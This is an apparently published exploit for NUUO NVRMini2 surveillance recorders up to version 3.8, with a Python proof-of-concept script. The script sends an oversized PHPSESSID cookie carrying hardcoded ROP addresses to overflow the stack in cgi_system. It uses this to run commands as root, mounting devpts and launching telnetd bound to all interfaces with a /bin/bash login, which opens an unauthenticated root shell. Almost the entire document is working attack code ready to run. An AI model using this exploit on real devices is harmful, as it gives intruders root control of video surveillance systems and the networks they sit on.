NUUO NVRMini2 3.8 – ‘cgi_system’ Buffer Overflow (Enable Telnet)
# Exploit Title: NUUO NVRMini2 3.8 - 'cgi_system' Buffer Overflow (Enable Telnet) # Date: 2018-09-17 # Exploit Author: Jacob Baines # Vendor Homepage: https://www.nuuo.com/ # Device: NRVMini2 # Software Link: https://www.nuuo.com/ProductNode.php?node=2 # Versions: 3.8.0 and below # Tested Against: 03.07.0000.0011 and 03.08.0000.0005 # Tested on: Ubuntu and OSX # CVE: N/A # TRA: https://www.tenable.com/security/research/tra-2018-25 # Description: # A stack buffer overflow exists in the cgi_system binary. The error occurs # due to lack of bounds checking on the PHPSESSID value before and when # it is passed to sprintf in order to generate the session id file name. # As written, this exploit enables Telnet. # Executes a command via the stack buffer overflow in cookie parsing. The command # is executed via 'system' as root. The overlow logic is like so: # # address 1: 405e2e34 - load system into r3 and address 2 into lr # # .text:000D0E34 0F 48 BD E8 LDMFD SP!, {R0-R3,R11,LR} # .text:000D0E38 1E FF 2F E1 BX LR # # address 2: 406037cc - load the system command into r0. Jump to system. # # .text:000F17CC 0D 00 A0 E1 MOV R0, SP # .text:000F17D0 33 FF 2F E1 BLX R3 # # [ address 1 ][ r0 ][ r1 ][ r2 ][ r3 system ][ r11 ][ LR - addr2 ][ system command ] # \x34\x2e\x5e\x40\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xfc\xbf\x54\x40\xee\xee\xee\xee\xcc\x37\x60\x40touch /tmp/lolwat # PoC import requests import socket import sys def stack_buffer_overflow(command, ip, port): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print '[+] Executing %s on %s:%s...' % (command, ip, port) sock.connect((ip, int(port))) exec_request = ('GET /cgi-bin/cgi_system?cmd=portCheck HTTP/1.1\r\n' + 'Host: ' + ip + ':' + port + '\r\n' + 'Accept: */*\r\n' + 'Cookie: PHPSESSID=982e6c010064b3878a4b793bfab8d2d2' + 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAABBBBCCCCDD' + '\x34\x2e\x5e\x40\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xfc\xbf\x54\x40\xee\xee\xee\xee\xcc\x37\x60\x40' + command + '\r\n\r\n') sock.sendall(exec_request) data = sock.recv(1024) sock.close() # We should get a 500 Internal error in response return data.find('500') != -1 # Quickly tries to grab the version of the target. If the target is # using anything other than 3.7 or 3.8 then we'll bail out since # haven't tested on any other targets def check_target(ip, port): index = requests.get('http://' + ip + ':' + port + "/upgrade_handle.php?cmd=getcurrentinfo") return (index.text.find('<Titan>03.08') != -1 or index.text.find('<Titan>03.07') != -1) if __name__ == "__main__": if (len(sys.argv) != 3): print "Usage: python nvrmini2_enable_telnet.py <ipv4 address> <port>" sys.exit(1) ip = sys.argv[1] port = sys.argv[2] if int(port) > 65535: print('[-] Invalid port parameter') sys.exit(0) if len(ip.split('.')) != 4: print('[-] Invalid IP address parameter') sys.exit(0) print '[+] Checking for a valid target...' if (check_target(ip, port) == False): print('[-] The target is not a NVRMini2 or its using an untested version.') sys.exit(0) print '[+] Valid target!' if (stack_buffer_overflow('mount -t devpts devpts /dev/pts', ip, port) == False): print('[-] Mount failed') sys.exit(0) if (stack_buffer_overflow('/bin/sh -c "/usr/sbin/telnetd -l /bin/bash -b 0.0.0.0"&', ip, port) == False): print('[-] telnetd bind failed') sys.exit(0) print('[+] Success!') |